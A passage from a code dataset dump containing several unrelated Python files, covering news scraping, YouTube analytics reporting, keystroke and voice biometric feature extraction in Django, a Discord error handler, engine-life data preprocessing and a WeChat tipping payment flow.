resultPageProcess\n\n# 关键字\nkw = r'737max空难'\n# 来源网站限制\nsourceWebsite = 'xinhuanet.com'\n# 每天搜几个新闻\nhowManyNewsOneDay = 50\n# 使用fiddler吗\ncertFile = None # \"./DO_NOT_TRUST_FiddlerRoot.crt\" # None\n\n# 参数合理性检查\npass\n\n# 主逻辑\ntry:\n # 连接数据库\n SysDb.connectDataBase('./main.sqlite')\n\n # 初始化所有系统表\n SysDb.initAllSysTables(updateStrategy='rewrite')\n\n # 初始化浏览器driver\n baidusearcher.initDriver()\n\n # 初始化爬虫\n baidusearcher.initSearcher(\n keyword=kw,\n sourceWebsite=sourceWebsite,\n howManyResultWanted=howManyNewsOneDay,\n fiddler=certFile,\n searchPageProcess=searchPageProcess,\n resultPageProcess=resultPageProcess\n )\n # 爬取一下\n baidusearcher.search()\n\nfinally:\n # 释放数据库\n SysDb.disconnectDataBase()\n # 释放浏览器driver\n baidusearcher.closeDriver()\n","sub_path":"mainXinhuaOneDay.py","file_name":"mainXinhuaOneDay.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"252296021","text":"import analytics.api as ga\nimport analytics.charts as ac\nfrom html import escape as escape_html\nfrom googleapiclient.discovery import build\nimport pandas as pd\n\n\nusers_over_time_file_name = \"users_over_time_history.json\"\n\nyt_service_params = (ga.yt_service_params[0] + ['https://www.googleapis.com/auth/youtube'],) + ga.yt_service_params[1:]\n\nyt_traffic_sources = {\"ANNOTATION\", \"CAMPAIGN_CARD\", \"END_SCREEN\", \"HASHTAGS\", \"LIVE_REDIRECT\", \"NOTIFICATION\", \"PLAYLIST\", \"PROMOTED\", \"RELATED_VIDEO\", \"SUBSCRIBER\", \"YT_CHANNEL\", \"YT_OTHER_PAGE\", \"YT_PLAYLIST_PAGE\", \"YT_SEARCH\"}\nunknown_traffic_sources = {\"NO_LINK_EMBEDDED\", \"NO_LINK_OTHER\"}\n\nyt_data_service = None\n\nvideos_info = {}\n\nsite_video_views = []\nyt_video_views = []\n\ndef authenticate_ga_portal(secret_name):\n\treturn ac.authenticate_api(secret_name, ga.ga4_service_params, port=8082)\n\ndef authenticate_ga_catalog(secret_name):\n\treturn ac.authenticate_api(secret_name, ga.ga4_service_params, port=8084)\n\ndef authenticate_yt(secret_name):\n\tservice_system = ac.authenticate_api(secret_name, yt_service_params)\n\tglobal yt_data_service\n\tyt_data_service = build('youtube', 'v3', credentials=service_system[3])\n\treturn service_system\n\ndef get_df_videos_info(df):\n\tmissing_videos = [id for id in df.index if not id in videos_info]\n\tresults = yt_data_service.videos().list(part=\"snippet,contentDetails,statistics\", id=\",\".join(missing_videos)).execute()\n\tfor item in results[\"items\"]:\n\t\tvideos_info[item[\"id\"]] = item\n\treturn df\n\ndef adjust_table_index_key(val):\n\tif isinstance(val, str):\n\t\tif val == \"\":\n\t\t\treturn ('Empty', True)\n\t\tif val[0] == \"/\":\n\t\t\treturn ('' + escape_html(val) + '', True)\n\treturn val\n\ndef format_video_key(id):\n\treturn ('' + escape_html(videos_info[id][\"snippet\"][\"title\"] if id in videos_info else id) + '', True)\n\n\ndef get_video_duration_text(id):\n\ttext = str(pd.Timedelta(videos_info[id][\"contentDetails\"][\"duration\"]))\n\tif text[:7] == \"0 days \":\n\t\ttext = text[7:]\n\treturn text\n\ndef format_video_stats_table(df, column_defs):\n\tdf = df.copy(deep=True)\n\twatch_percent_column = df[\"Average watch %\"]\n\tdf.drop(columns=watch_percent_column.name, inplace=True)\n\tdf[\"Average watch time (minutes)\"] /= 60\n\ttotal_views_column = pd.Series([videos_info[id][\"statistics\"][\"viewCount\"] for id in df.index], index=df.index, name=\"All-time views\")\n\tduration_column = pd.Series([get_video_duration_text(id) for id in df.index], index=df.index, name=\"Video duration\")\n\tdf.insert(1, total_views_column.name, total_views_column)\n\tdf.insert(3, duration_column.name, duration_column)\n\tplain_value_processor = lambda v, i, c: ('
    ' + str(v) + '
    ', True)\n\tcolumn_defs = {\n\t\t**column_defs,\n\t\ttotal_views_column.name: [(\"minmax(4.5em, min-content)\", plain_value_processor)],\n\t\t\"Average watch time (minutes)\": [column_defs[None][0], (\"3.8em\", lambda v, i, c: ('
    ' + \"{:.2f}\".format(watch_percent_column[i]) + '%
    ', True)), column_defs[None][1]],\n\t\tduration_column.name: [(\"minmax(5.8em, min-content)\", plain_value_processor)]\n\t}\n\treturn (df, column_defs)\n\n\ndef show_value_difference_table(label, values, **other_params):\n\tdf = pd.DataFrame({label: [values[0]]}, index=[label])\n\tformatting_params = {\n\t\t\"hide_index\": False,\n\t\t\"hide_columns\": True\n\t}\n\tif len(values) == 2:\n\t\tdf_prev = pd.DataFrame({label: [values[1]]}, index=[label])\n\t\tformatted = ac.format_table_with_change(df, df_prev, show_symbols=False, **formatting_params, **other_params)\n\telse:\n\t\tformatted = ac.format_table(\n\t\t\tdf,\n\t\t\tcolumn_defs=[(\"minmax(calc(var(--value-width) + var(--percentage-width)), min-content)\", lambda v, i, c: str(v) if isinstance(v, int) else \"{:.2f}\".format(v))],\n\t\t\t**formatting_params,\n\t\t\t**other_params\n\t\t)\n\tdisplay(formatted)\n\ndef make_subtraction_processor(values):\n\tvalues = values[:]\n\t\n\tdef processor(df):\n\t\tdf = df.copy(deep=True)\n\t\tdf.iat[0, 0] = max(df.iat[0, 0] - values[0], 0)\n\t\tdel values[0]\n\t\treturn df\n\t\n\treturn processor\n\n\ndef save_site_video_views(df):\n\tsite_video_views.append(df[\"eventCount\"].agg(\"sum\"))\n\treturn df\n\ndef collapse_yt_sources(df):\n\tdf = pd.DataFrame({df.columns[0]: df.filter(yt_traffic_sources, axis=\"rows\").agg(\"sum\").rename({df.columns[0]: \"Views from YouTube\"})})\n\tyt_video_views.append(df.iloc[0, 0])\n\treturn df\n\ndef extract_anvil_source(df):\n\treturn df.loc[\"anvilproject.org\":\"anvilproject.org\"].rename({\"anvilproject.org\": \"Views from AnVIL website\"})\n\ndef collapse_unknown_sources(df):\n\treturn pd.DataFrame({df.columns[0]: df.filter(unknown_traffic_sources, axis=\"rows\").agg(\"sum\").rename({df.columns[0]: \"Views from unknown sources\"})})\n\n\ndef show_difference_and_get_top_videos(save_amount, *ordered_params, **other_params):\n\ttop_videos_container = []\n\t\n\tdef processor(df):\n\t\tif len(top_videos_container) == 0:\n\t\t\ttop_videos_container.append(\",\".join(df.index[:save_amount]))\n\t\t\tget_df_videos_info(df)\n\t\treturn df\n\t\n\tac.show_difference_table(*ordered_params, df_processor=processor, **other_params)\n\t\n\treturn \"video==\" + top_videos_container[0]\n\n\ndef plot_yt_over_time(**other_params):\n\tdf = ac.show_plot_over_time(\n\t\t\"Monthly Activity Overview\",\n\t\t[\"Views Per Month\"],\n\t\t[\"views\"],\n\t\tdimensions=\"day\",\n\t\tdf_filter=lambda df: ac.make_month_filter([])(df)[:-1],\n\t\tformat_table=False,\n\t\t**other_params\n\t).rename(columns={\"Views Per Month\": \"Views\"})\n\treturn ac.format_change_over_time_table(df, pre_render_processor=lambda df, cd: (df[::-1], cd), **other_params)\n\n\ndef save_ga3_users_over_time_data(users_params, views_params, **other_params):\n\tusers_df = ac.get_data_df([\"ga:30dayUsers\"], [\"ga:date\"], df_processor=lambda df: df[::-1], **users_params, **other_params)\n\tusers_df.index = pd.to_datetime(users_df.index)\n\tviews_df = ac.get_data_df([\"ga:pageviews\"], [\"ga:date\"], df_processor=lambda df: df[::-1], **views_params, **other_params)\n\tviews_df.index = pd.to_datetime(views_df.index)\n\n\tdf = ac.make_month_filter([\"ga:30dayUsers\"])(users_df.join(views_df)).rename(columns={\"ga:30dayUsers\": \"Users\", \"ga:pageviews\": \"Total Pageviews\"})\n\tdf.to_json(users_over_time_file_name)\n\n\ndef plot_users_over_time(load_json=True, use_api=True, **other_params):\n\told_data = pd.read_json(users_over_time_file_name) if load_json else None\n\tdf = ac.show_plot_over_time(\n\t\t\"Monthly Activity Overview\",\n\t\t[\"Users\", \"Total Pageviews\"],\n\t\t[\"activeUsers\", \"screenPageViews\"] if use_api else None,\n\t\tdimensions=\"yearMonth\",\n\t\tsort_results=[\"yearMonth\"],\n\t\tdf_processor=(lambda df: df.set_index(df.index + \"01\")[-2::-1]) if use_api else None,\n\t\tpre_plot_df_processor=None if old_data is None else (lambda df: df.add(old_data, fill_value=0).astype(\"int\")[::-1]) if use_api else (lambda df: old_data),\n\t\tformat_table=False,\n\t\t**other_params\n\t)\n\treturn ac.format_change_over_time_table(df, change_dir=-1, **other_params)\n\n","sub_path":"analytics/anvil-analytics-portal/analytics_anvil.py","file_name":"analytics_anvil.py","file_ext":"py","file_size_in_byte":6898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"383648945","text":"inp = open(\"B-small-attempt0.in\", \"r\")\nout = open(\"B-small.out\", \"w\")\n\ndef flips(s):\n curr = s[0]\n f = 0\n for c in s[1:]:\n if c != curr:\n curr = c\n f += 1\n if curr == \"-\": f += 1\n return f\n\ninp.readline()\ncount = 1\nfor l in inp:\n out.write(\"Case #{}: \".format(count) + str(flips(l.strip())) + \"\\n\")\n count += 1\n","sub_path":"solutions_5634697451274240_0/Python/jarsp/QB.py","file_name":"QB.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"215834393","text":"#encoding=utf-8\r\n\r\nimport dns.resolver\r\n\r\n#输入域名地址\r\ndomain = raw_input('Please input an domain: ')\r\n\r\n#指定查询类型为A记录\r\nA = dns.resolver.query(domain,'A')\r\n\r\n#通过response.answer方法获取查询回应信息\r\nfor i in A.response.answer:\r\n\t#遍历回应信息\r\n\tfor j in i.items:\r\n\t\tprint(j)","sub_path":"devopps/simple1.py","file_name":"simple1.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"203505694","text":"from django.shortcuts import render,redirect\nfrom .models import user_list,KeystrokeDB,ParametersDB,voiceFeatures,voiceFeatures_temp\nfrom django.http import HttpResponse,JsonResponse\nimport time\nimport json\nimport re\nimport pandas as pd\nimport pyaudio\nimport wave\nfrom array import array\nfrom scipy.io import wavfile\nimport scipy.signal\nfrom scipy.io.wavfile import write \nimport numpy as np\nimport sqlite3\nimport librosa\nimport time\nfrom datetime import timedelta as td\nfrom python_speech_features import mfcc\nfrom python_speech_features import logfbank,fbank,ssc\nfrom pyAudioAnalysis import audioFeatureExtraction\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import classification_report, confusion_matrix, accuracy_score, precision_recall_fscore_support\nfrom channels import Channel\n\nfrom pydub import AudioSegment\n\n\ndef fun(features,F_vectors,j):\n\tfor i in range(65):\n\t\texec(\"features.f%d=F_vectors[%d][%d]\" % (i,j,i))\n\tfeatures.save()\n\ndef featuresExtraction(username1):\n\tprint(\"sucessssssssssssssss\")\n\trate, data= wavfile.read(\"Filtered_audio.wav\")\n\tF_vectors=mfcc(data,rate,nfft=1103,numcep=13)\n\tf_vectors1=logfbank(data,rate,nfft=1103)\n\tf_vectors3=ssc(data,rate,nfft=1103)\n\tf_vectors1 = list(f_vectors1)\n\tf_vectors3 = list(f_vectors3)\n\t#F_vectors=np.transpose(F_vectors)\n\tF_vectors = np.array((F_vectors))\n\tlength = F_vectors.shape[0]\n\tF_vectors= list(F_vectors)\n\tfor i in range (length):\n\t\tF_vectors[i] = list(F_vectors[i])\n\t\tf_vectors1[i] = list(f_vectors1[i])\n\t\tF_vectors[i].extend(f_vectors1[i])\n\t\tf_vectors3[i] = list(f_vectors3[i])\n\t\tF_vectors[i].extend(f_vectors3[i])\n\t\t\n\tusername=username1['username1']\n\tname=user_list.objects.get(user_name=username)\n\tuserid=name.id\n\tprint(time.time())\n\tfor j in range(length):\n\t\t#print(\"j>>\",j)\n\t\tfeatures=voiceFeatures.objects.create(user_name=username,user_id=userid,frame_index =j)\n\t\tfeatures=voiceFeatures.objects.get(user_name=username,user_id=userid,frame_index =j)\n\t\t#for i in range(65):\n\t\t\t#exec(\"features.f%d=F_vectors[%d][%d]\" % (i,j,i))\n\n\t\tfun(features,F_vectors,j)\n\t\t\n\tprint(\"done\")\n\tprint(time.time())\n\n\n\n\n\n\n\n\n\n\ndef keystroke_update(dictionary):\n\ti=0\n\tj=0\n\tch_index=0\n\ttime_list={}\n\tchar_list=[]\n\ttime_list=dictionary['time_list1']\n\tlist_index=dictionary['list_index1']\n\tusername=dictionary['username1']\n\t#print(time_list,'......................time_list')\n\t#print(list_index,'......................list_index')\n\t#print(username,'......................username')\n\t\n\tfor d in range(5):\n\t\t#print(time_list[d])\n\n\t\t\n\t\tname=user_list.objects.get(user_name=str(username))\n\t\tuserid=name.id\n\t\tsentence_index=name.index\n\t\tinstance=KeystrokeDB.objects.get_or_create(user_name=str(username), user_id=userid, sentence_index=d)\n\t\tinstance=KeystrokeDB.objects.get(user_name=str(username),user_id=userid, sentence_index=d)\n\n\t\t\n\t\tlist_index1=int(list_index[d])\n\t\tkey_list = list(time_list[d].keys())\n\t\tfor i in range (0, list_index1):\n\t\t\tkey_split1=re.split('[0-9]+',key_list[i])\n\t\t\t#print(key_split1)\n\t\t\tif(key_split1[2]=='dn'):\n\t\t\t\tif(key_split1[1]=='Backspace'):\n\t\t\t\t\tchar_list.append(8)\n\t\t\t\telif(key_split1[1]=='Shift'):\n\t\t\t\t\tchar_list.append(16)\n\t\t\t\telif(key_split1[1]==\"CapsLock\"):\n\t\t\t\t\tchar_list.append(20)\n\t\t\t\telif(key_split1[1]==\"Tab\"):\n\t\t\t\t\tchar_list.append(9)\n\t\t\t\telif(key_split1[1]==\"Control\"):\n\t\t\t\t\tchar_list.append(17)\n\t\t\t\telif(key_split1[1]==\"Alt\"):\n\t\t\t\t\tchar_list.append(18)\n\n\t\t\t\telif(key_split1[1]=='ArrowLeft'):\n\t\t\t\t\tchar_list.append(37)\n\t\t\t\telif(key_split1[1]=='ArrowRight'):\n\t\t\t\t\tchar_list.append(39)\n\t\t\t\telif(key_split1[1]=='Enter'):\n\t\t\t\t\tchar_list.append(13)\n\t\t\t\telse:\n\t\t\t\t\tchar_list.append(ord(key_split1[1]))\n\n\t\t\t\t#print('in down',key_split1[1])\n\t\t\t\t#print('in down if',key_split1[1])\n\t\t\t\ttemp=time_list[d][key_list[i]]\n\t\t\t\texec(\"instance.chr%d_dn=temp\" % ch_index)\n\t\t\t\tfor j in range(i,list_index1):\n\t\t\t\t\tkey_split2=re.split('[0-9]+',key_list[j])\n\t\t\t\t\tif(key_split2[2]=='up'):\n\t\t\t\t\t#print('in up',key_split2[1])\n\t\t\t\t\t\tif(key_split1[1] == key_split2[1]):\n\t\t\t\t\t\t\texec(\"instance.chr%d_up= time_list[d][key_list[j]]\" % ch_index)\n\t\t\t\t\t\t\tch_index=ch_index+1\n\t\t\t\t\t\t\tbreak\n\t\tres=1\n\t\tres=instance.save()\n\t\tprint(res,'res..................................')\n\n\t\ti=0\n\n\t\tprint(char_list)\n\t\tfor i in range (0, ch_index-1):\n\n\t\t\tparameters=ParametersDB.objects.create(user_name=str(username),user_id=userid, char_index = i, sentence_index=d)\n\t\t\tparameters=ParametersDB.objects.get(user_name=str(username),user_id=userid, char_index = i, sentence_index=d)\n\t\t\tparameters.char_1=char_list[i]\n\t\t\tparameters.char_2= char_list[i+1]\n\t\t\texec(\"parameters.DD= instance.chr%d_dn-instance.chr%d_dn\" % (i+1,i))\n\t\t\texec(\"parameters.UD= instance.chr%d_dn-instance.chr%d_up\" % (i+1,i))\n\t\t\texec(\"parameters.DU= instance.chr%d_up-instance.chr%d_dn\" % (i+1,i))\n\t\t\texec(\"parameters.UU= instance.chr%d_up-instance.chr%d_up\" % (i+1,i))\n\t\t\texec(\"parameters.H1= instance.chr%d_up-instance.chr%d_dn\" % (i,i))\n\t\t\texec(\"parameters.H2= instance.chr%d_up-instance.chr%d_dn\" % (i+1,i+1))\n\t\t\ti=i+1\n\t\t\tparameters.save()\n\t\t\t#print('sentence index...........',sentence_index)\n\t\tchar_list.clear()\n\t\tch_index=0\n\tprint('done')\n\n\n\n\ndef featuresExtraction_temp(username1):\n\t\n\trate, data= wavfile.read(\"Filtered_audio.wav\")\n\tF_vectors=mfcc(data,rate,nfft=1103,numcep=13)\n\tf_vectors1=logfbank(data,rate,nfft=1103)\n\tf_vectors3=ssc(data,rate,nfft=1103)\n\tf_vectors1 = list(f_vectors1)\n\tf_vectors3 = list(f_vectors3)\n\tF_vectors = np.array((F_vectors))\n\tlength = F_vectors.shape[0]\n\tF_vectors= list(F_vectors)\n\tfor i in range (length):\n\t\tF_vectors[i] = list(F_vectors[i])\n\t\tf_vectors1[i] = list(f_vectors1[i])\n\t\tF_vectors[i].extend(f_vectors1[i])\n\t\tf_vectors3[i] = list(f_vectors3[i])\n\t\tF_vectors[i].extend(f_vectors3[i])\n\tusername=username1['username1']\n\tname=user_list.objects.get(user_name=str(username))\n\tuserid=name.id\n\tvoiceFeatures_temp.objects.filter(user_id=userid).delete()\n\tprint(time.time())\n\tfor j in range(length):\n\t\t#print(\"j>>\",j)\n\t\tfeatures=voiceFeatures_temp.objects.create(user_name=username,user_id=userid,frame_index =j)\n\t\tfeatures=voiceFeatures_temp.objects.get(user_name=username,user_id=userid,frame_index =j)\n\t\t'''or i in range(65):\n\t\t\texec(\"features.f%d=F_vectors[%d][%d]\" % (i,j,i))\n\t\tfeatures.save()'''\n\t\tfun(features,F_vectors,j)\n\n\tprint(\"done\")\n\tprint(time.time())\n\treturn redirect('Authentication')\n\t\n\n\n\n","sub_path":"mainpage/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":6274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"414858748","text":"from discord.ext import commands\nimport discord\nfrom Core.classes import Logger\nfrom config import *\n\nclass Errors():\n\t# 自訂 Error Handler\n ''' #Main.sayd 的指令錯誤處理\n\t@Main.sayd.error\n\tasync def sayd_error(self, ctx, error):\n\t\t\n\t\tif isinstance(error, commands.MissingRequiredArgument):\n\t\t\terr = str(error).split(\" \")[0]\n\t\t\tawait ctx.send(f\"遺失必要參數: <`{err}`>\")\n\t\t\tawait ctx.send_help(ctx.command)\n\t\t\tLogger.log(self, ctx, error)\n\t'''\n # 預設 Error Handler\n async def default_error(self, ctx, error):\n '''預設錯誤處理'''\n \n # 比對觸發的error是否為 MissingRequiredArgument 的實例\n if isinstance(error, commands.MissingRequiredArgument):\n err = str(error).split(\" \")[0]\n await ctx.send(f\"遺失必要參數: <`{err}`>\")\n await ctx.send_help(ctx.command)\n Logger.log(self, ctx, error)\n \n # error 內容是否為 403 Forbiddden\n elif \"403 Forbidden\" in str(error): \n await ctx.send(\"403 Forbidden,請檢查 Bot 權限\")\n Logger.log(self, ctx, error)\n elif \"TypeError: object NoneType can't be used in 'await'\" in str(error):\n pass\n elif \"404 Not Found (error code: 10008): \" in str(error):\n embed=discord.Embed(title=\":warning: 錯誤!\", description=f\"Discord伺服器端錯誤,本次操作未成功。\", color=ORANGE_COLOR)\n await ctx.send(embed=embed)\n elif \"could not be loaded.\" in str(error):\n embed=discord.Embed(title=\":warning: 錯誤!\", description=f\"查無此檔案,請確認輸入是否正確。\", color=ORANGE_COLOR)\n await ctx.send(embed=embed)\n elif \"has not been loaded.\" in str(error):\n embed=discord.Embed(title=\":warning: 錯誤!\", description=f\"查無此檔案,請確認輸入是否正確。\", color=ORANGE_COLOR)\n await ctx.send(embed=embed)\n elif \"You are missing Administrator permission(s) to run this command.\" in str(error):\n embed=discord.Embed(title=\":warning: 錯誤!\", description=f\"此指令僅有政府高層得以用之。\", color=ORANGE_COLOR)\n await ctx.send(embed=embed)\n elif \"You do not own this bot.\" in str(error):\n embed=discord.Embed(title=\":warning: 錯誤!\", description=f\"此指令僅有政府高層得以用之。\", color=ORANGE_COLOR)\n await ctx.send(embed=embed)\n elif \"You are on cooldown. Try again in \"in str(error):\n embed=discord.Embed(title=\":warning: 錯誤!\", description=\"指令還在冷卻中!請於%.2f秒後再次嘗試。\"% error.retry_after, color=ORANGE_COLOR)\n await ctx.send(embed=embed)\n elif \"is not found\"in str(error):\n pass\n\n \n # 皆不符合\n else:\n embed=discord.Embed(title=\":warning: 錯誤!\", description=f\"{error}\", color=ORANGE_COLOR)\n await ctx.send(embed=embed)\n Logger.log(self, ctx, error)\n","sub_path":"Core/errors.py","file_name":"errors.py","file_ext":"py","file_size_in_byte":2815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"487530531","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 8 13:35:32 2021\n\n@author: Nikhil\n\"\"\"\n\n\nimport json\nimport pandas as pd\nimport numpy as np\nimport argparse\nfrom pathlib import Path\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import MinMaxScaler\n\ndef process_data(args):\n # reads data from the output of previous component\n with open(args.input_data) as data_file:\n data=json.load(data_file)\n data=json.loads(data)\n df = data['data']\n \n # name the columns\n columns =['unit_number','time_in_cycles','setting_1','setting_2','TRA','T2','T24','T30','T50','P2','P15','P30','Nf','Nc','epr','Ps30','phi','NRf','NRc','BPR','farB','htBleed','Nf_dmd','PCNfR_dmd','W31','W32']\n df = pd.DataFrame(df,columns=columns)\n #univ_stat = train.describe()\n df.drop(columns=['Nf_dmd','PCNfR_dmd','P2','P15','T2','TRA','farB','epr'],inplace=True)\n \n # create the label\n fd_RUL = df.groupby('unit_number')['time_in_cycles'].max().reset_index()\n fd_RUL = pd.DataFrame(fd_RUL)\n fd_RUL.columns = ['unit_number','max']\n df = df.merge(fd_RUL, on=['unit_number'], how='left')\n df['RUL'] = df['max'] - df['time_in_cycles']\n #w=15\n #df['label'] = np.where(df['RUL'] <= w,1,0)\n df.drop(columns=['max'],inplace = True)\n df = df[df['time_in_cycles']>0]\n \n # split into train and test data\n X_train, X_test, y_train, y_test = split(df)\n X_train_scaled, X_test_scaled = scaling(X_train,X_test)\n X_train_scaled = X_train_scaled.to_numpy()\n X_test_scaled = X_test_scaled.to_numpy()\n \n # convert into json object\n data = {'x_train' : X_train_scaled.tolist(),\n 'y_train' : y_train.tolist(),\n 'x_test' : X_test_scaled.tolist(),\n 'y_test' : y_test.tolist()}\n data_json = json.dumps(data)\n\n # Saves the json object into a file\n with open(args.output_data, 'w') as out_file:\n json.dump(data_json, out_file)\n\ndef split(df):\n cols_normalize = df.columns.difference(['unit_number','time_in_cycles','RUL'])\n X = df[cols_normalize]\n y = df['RUL']\n X_train, X_test, y_train, y_test = train_test_split(X,y,test_size=0.2)\n return(X_train,X_test,y_train,y_test)\n\ndef scaling(X_train, X_test):\n min_max_scaler = MinMaxScaler()\n X_train_scaled = pd.DataFrame(min_max_scaler.fit_transform(X_train), columns=X_train.columns, index=X_train.index)\n X_test_scaled = pd.DataFrame(min_max_scaler.transform(X_test), columns=X_test.columns, index=X_test.index)\n return(X_train_scaled,X_test_scaled)\n\nif __name__ == '__main__':\n \n # This component receives one artifact which is 'input_data' and outputs one artifact which is `output_data`.\n parser = argparse.ArgumentParser()\n parser.add_argument('--input_data', type=str)\n parser.add_argument('--output_data',type=str)\n\n args = parser.parse_args()\n \n # Creating the directory where the output file will be created \n # (the directory may or may not exist).\n Path(args.output_data).parent.mkdir(parents=True, exist_ok=True)\n\n process_data(args)\n","sub_path":"scripts/process_data_rul_regressor.py","file_name":"process_data_rul_regressor.py","file_ext":"py","file_size_in_byte":3073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"643679920","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport time\nimport json\nimport logging\nimport hashlib\nimport datetime\n\nfrom lib import utils\nfrom handler.base import BaseHandler\nfrom control import ctrl\nfrom lib.decorator import check_openid, forbid_frequent_api_call, save_args\nfrom settings import VERIFY_SMS_CONTENT, SHARE_ORDER_CONF, A_DAY\nfrom tornado.httputil import url_concat\nfrom tornado import httpclient\nfrom tornado.ioloop import IOLoop\nfrom urllib.parse import quote, unquote\n\n\ndef query_delay(seconds=60):\n return time.time() + seconds\n\n\ndef gen_order_id(sopenid, dopenid, fee):\n return sopenid + 'SO' + dopenid + 'T' + datetime.datetime.now().strftime('%Y%m%d%H%M%S')\n\n\nclass ShareOrderHandler(BaseHandler):\n\n @save_args\n @check_openid\n async def get(self):\n '''扫码后的页面,消费产生的金钱和地点,可分享,所有需要区分是否是分享人\n is_sharer, ktv, fee,sharer_openid,sharer_nickname,config'''\n try:\n ktv = self.get_argument('ktv')\n fee = self.get_argument('fee')\n unique_id = self.get_argument('id')\n sharer_openid = self.get_argument('openid', '')\n except Exception as e:\n logging.error(e)\n return self.render_empty()\n\n copenid = self.get_cookie('openid')\n sharer_nickname = ''\n if sharer_openid:\n if copenid == sharer_openid:\n is_sharer = 1\n else:\n is_sharer = 0\n wx_user = await utils.async_common_api('/wx/user/info', dict(openid=sharer_openid))\n sharer_nickname = wx_user.get('nickname')\n else:\n is_sharer = 1\n sharer_openid = copenid\n\n rewarders = await ctrl.web.get_rewarders_ctl(ktv, fee, sharer_openid, unique_id)\n config = await utils.async_common_api('/wx/share/config', dict(url=self.full_url))\n self.render('share_order/share.tpl', is_sharer=is_sharer, ktv=ktv, fee=fee, sharer_openid=sharer_openid,\n rewarders=rewarders, sharer_nickname=sharer_nickname, unique_id=unique_id, config=config)\n\n\nclass RewardHandler(BaseHandler):\n\n async def get(self):\n '''打赏页'''\n try:\n sharer_openid = self.get_argument('openid')\n nickname = self.get_argument('nickname')\n copenid = self.get_cookie('openid')\n except Exception as e:\n logging.error(e)\n return self.render_empty()\n\n is_sharer = 0\n if sharer_openid == copenid:\n is_sharer = 1\n if not nickname:\n wx_user = await utils.async_common_api('/wx/user/info', dict(openid=sharer_openid))\n nickname = wx_user.get('nickname')\n\n config = await utils.async_common_api('/wx/share/config', dict(url=self.request.full_url()))\n self.render('share_order/reward.tpl', sharer_nickname=nickname, share_list=SHARE_ORDER_CONF, sharer_openid=sharer_openid, is_sharer=is_sharer, config=config)\n\n\nclass OrderHandler(BaseHandler):\n\n async def prepay(self, ktv_id, openid, order_id, pay_fee):\n try:\n params = {\n \"op\": \"fastpay\",\n \"ktvid\": ktv_id,\n 'erpid': order_id,\n \"paytype\": \"WX\",\n \"action\": \"GZH\",\n \"data\": json.dumps({\n \"paraBody\": '您为好友打赏了%.02f元' % (pay_fee / 100),\n \"paraTotalFee\": pay_fee,\n \"paraOpenId\": openid,\n }),\n }\n logging.error('prepay params: %s' % params)\n\n url = 'http://pay.ktvsky.com/wx'\n http_client = utils.get_async_client()\n request = httpclient.HTTPRequest(url_concat(url, params), method='POST', body='',\n headers={'Connection': 'keep-alive'}, connect_timeout=10, request_timeout=10)\n\n r = await utils.fetch(http_client, request)\n r = json.loads(bytes(r.body).decode())\n\n logging.info(r)\n ctrl.web.update_shareorder_order(order_id, data=dict(state=3, wx_pay_id=r['order']))\n IOLoop.current().add_timeout(query_delay(), self.pay_query, order_id, loop=5)\n return r\n\n except Exception as e:\n logging.error(e)\n raise utils.APIError(errcode=19003)\n\n @forbid_frequent_api_call(params={'cookie_keys': ['openid'], 'seconds': 5})\n async def post(self):\n '''ktv_id: 12'''\n try:\n openid = self.get_argument('openid')\n fee = int(self.get_argument('fee'))\n spend = self.get_argument('spend', '')\n ktv = self.get_argument('ktv', '')\n unique_id = self.get_argument('unique_id', '')\n except Exception as e:\n logging.error(e)\n raise utils.APIError(errcode=10001)\n\n copenid = self.get_cookie('openid')\n ktv_id = 12\n order_id = gen_order_id(copenid, openid, fee)\n ctrl.rs.rpush('%s_%s_%s_%s' % (ktv, spend, openid, unique_id), order_id)\n ctrl.web.add_shareorder_order(sopenid=copenid, dopenid=openid, state=0, order_id=order_id, wx_pay_id='', fee=fee, redpack_state=0)\n\n prepay_data = await self.prepay(ktv_id, copenid, order_id, fee)\n logging.error(prepay_data)\n res = dict(oid=order_id, pay=prepay_data)\n ctrl.rs.set('shareorder_order_%s'%str(order_id), res, 60*15)\n self.send_json(res)\n\n async def after_pay(self, order):\n order_id = order['order_id']\n if not ctrl.rs.setnx('after_pay_share_order_%s'%order_id, 1):\n return\n\n try:\n wx_sdr = await utils.async_common_api('/wx/user/info', dict(openid=order['sopenid']))\n send_name = wx_sdr.get('nickname', '')\n wishing_fmt = [o[2] for o in SHARE_ORDER_CONF if o[0] == order['fee']]\n wishing = '' if not wishing_fmt else wishing_fmt[0]%send_name\n response = await utils.async_common_api('/wx/redpack', dict(openid=order['dopenid'], total_amount=order['fee'], send_name=send_name+'打赏', wishing=wishing))\n logging.error('openid: %s, redpack result: %s' % (order['dopenid'], response))\n result = 1 if response.get('result_code') == 'SUCCESS' else 0\n ctrl.web.update_shareorder_order(order_id, data=dict(state=2, redpack_state=result))\n except Exception as e:\n ctrl.rs.delete('after_pay_share_order_%s'%order_id)\n logging.error(e)\n raise utils.APIError(errcode=19007)\n\n async def pay_query(self, order_id, loop=1):\n logging.info(\"\\n\\nloop=%s\"%loop)\n\n order = ctrl.web.get_shareorder_order(order_id)\n if not order:\n raise utils.APIError(errcode=10001)\n try:\n params = {\n \"op\": \"query\",\n \"ktvid\": 12, # 专用于分享订单的打赏\n \"paytype\": 'WX', # ALI or WX\n \"data\": json.dumps({\n \"paraOutTradeNo\": order['wx_pay_id'],\n }),\n }\n\n url = 'http://pay.ktvsky.com/wx'\n http_client = utils.get_async_client()\n request = httpclient.HTTPRequest(url_concat(url, params), method='POST', body='',\n headers={'Connection': 'keep-alive'}, 